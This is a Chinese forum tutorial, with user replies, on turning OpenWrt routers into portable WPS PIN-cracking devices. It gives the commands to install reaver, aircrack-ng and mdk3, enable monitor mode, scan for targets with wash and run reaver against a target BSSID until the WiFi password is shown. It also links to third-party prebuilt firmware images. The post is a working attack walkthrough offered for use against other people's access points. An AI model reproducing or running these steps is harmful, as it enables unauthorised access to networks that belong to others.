《集成reaver的Openwrt》

CEC0D5F1B6AB

现在许多人使用电脑来pin，但是又不好的缺点，就是功耗太大，移动起来还不方便但是使用能刷Openwrt的路由来pin，正好弥补了这个缺点，目前市面上的路由普遍
功耗很低，移动起来方便，而且比较稳定，有的还有USB，可以外置网卡来pin，还可以用手机控制！（使用ssh客户端）
例如是用RG100A-AA + 8187L 使用的

使用的条件：
①路由支持刷Openwrt
②路由的无线芯片支持监听模式
③有4mb以上的flash
④熟悉linux命令行（只是简单的几句而已）

第一步
给路由刷上Openwrt（注意：最好刷上Openwrt官网的Openwrt原版固件，或者自己编译下）
官方固件可以从这里找

1. http://downloads.openwrt.org/attitude_adjustment/12.09-rc1/

复制代码

第二步
刷好之后，安装reaver aircrack-ng screen mdk3等软件，注意安装时要连接上网络

1. opkg update
   
2. opkg install reaver aircrack-ng screen mdk3

复制代码

安装好后使用putty登录到路由

第三步

1. airmon-ng start wlan0

复制代码

（wlan0是你要使用的网卡）
如果使用内置网卡的话要把wlan0停掉

1. ifconfig wlan0 down

复制代码

这样才可以不被锁频道
成功之后
搜索可以pin的ap

1. wash -i mon0

复制代码

这时候显示可以pin的ap
例如这样

1. Wash v1.4 WiFi Protected Setup Scan Tool
   
2. Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
   
3. 
   
4. BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
   
5. ---------------------------------------------------------------------------------------------------------------
   
6. XX:XX:XX:XX:XX:XX       1            -85        1.0               No                dlink
   

复制代码

找到目标后
使用

1. reaver -i mon0 -b XX:XX:XX:XX:XX:XX

复制代码

XX:XX:XX:XX:XX:XX是你目标AP的mac地址
这样就可以pin下去了，
注意，目标ap需要有足够的信号才可以，不然会提示无可预测的错误（这里请大家自行测试）


后台教程

1. screen

复制代码

使用screen进入后台后进行由第一步开始

开始pin后可以命令行的窗口，这样就可以后台了

下次进入后才就要输入

1. screen -r

复制代码

进行恢复

如果pin成功命令行会有密码显示的

如果你担心掉电或者死机的话
那么可以使用

1. reaver -i mon0 -b XX:XX:XX:XX:XX:XX | tee pin.log

复制代码

这样pin的记录文件就可以保存在目录下的pin。log文件中了

至于存档，就在你当前目录下就有可以，可以使用winscp来复制到本地，也可以复制过去









这里附上自己基于trunk编译的固件（编译时集成 reaver aircrack-ng screen mdk3 但是没有luci )

1. http://openwrt-firmware.googlecode.com/files/openwrt-RG100A_DB120-squashfs-cfe.bin

复制代码

（RG100A or DB120 集成了8187 和3070的驱动）

1. http://openwrt-firmware.googlecode.com/files/openwrt-ramips-rt305x-hg255d-squashfs-sysupgrade.bin

复制代码

（这个是hg255d的固件，集成luci，pin的基本工具等）

1. http://openwrt-firmware.googlecode.com/files/openwrt-atheros-ubnt2-pico2-squashfs.bin

复制代码

（340G之类的路由，没有usb，使用内置网卡pin，测试过可以，但是要32mb内存和8m flash）

lap

http://downloads.openwrt.org/attitude_adjustment/12.09-rc1/

我装的是 12.09 版，即使输入正确 pin 码也不成功。

看到了有另外两个版本 rc1 + rc2 供下载，没测试过。

看来我要换个版本试试。

langxtx

手头有一个刷了openwrt的路由，正不知道怎么玩儿呢，等周末的时候测试一下，看看是否可行。支持。

文勇通讯

学习了

vvxiang

希望能共享一下所用软件。 MD3 没找到。

qjawwgls

好像是和我路由器的CUP不兼容

sbbi

没用，鉴定完毕,刷了，无luci 无法登陆，winspc 登陆 还需要密码，密码是多少也不说声

dwj0

340G刷的OpenWrt Attitude Adjustment 12.09,  按照你说的步骤安装好了以后，执行到这步出错了，怎么回事？

禁止入内

太给力了。谢谢撸主。终于找到了。

apachi1012

为什么我在终端执行screen命令不行
提示Segmentation fault
是什么原因啊

apachi1012

我是华硕RT-N13U B1 路由器刷的OPENWRT固件，装不上REAVER，好像是和我路由器的CUP不兼容，你会编译吗，给编译一个我路由器可用的版本行吗。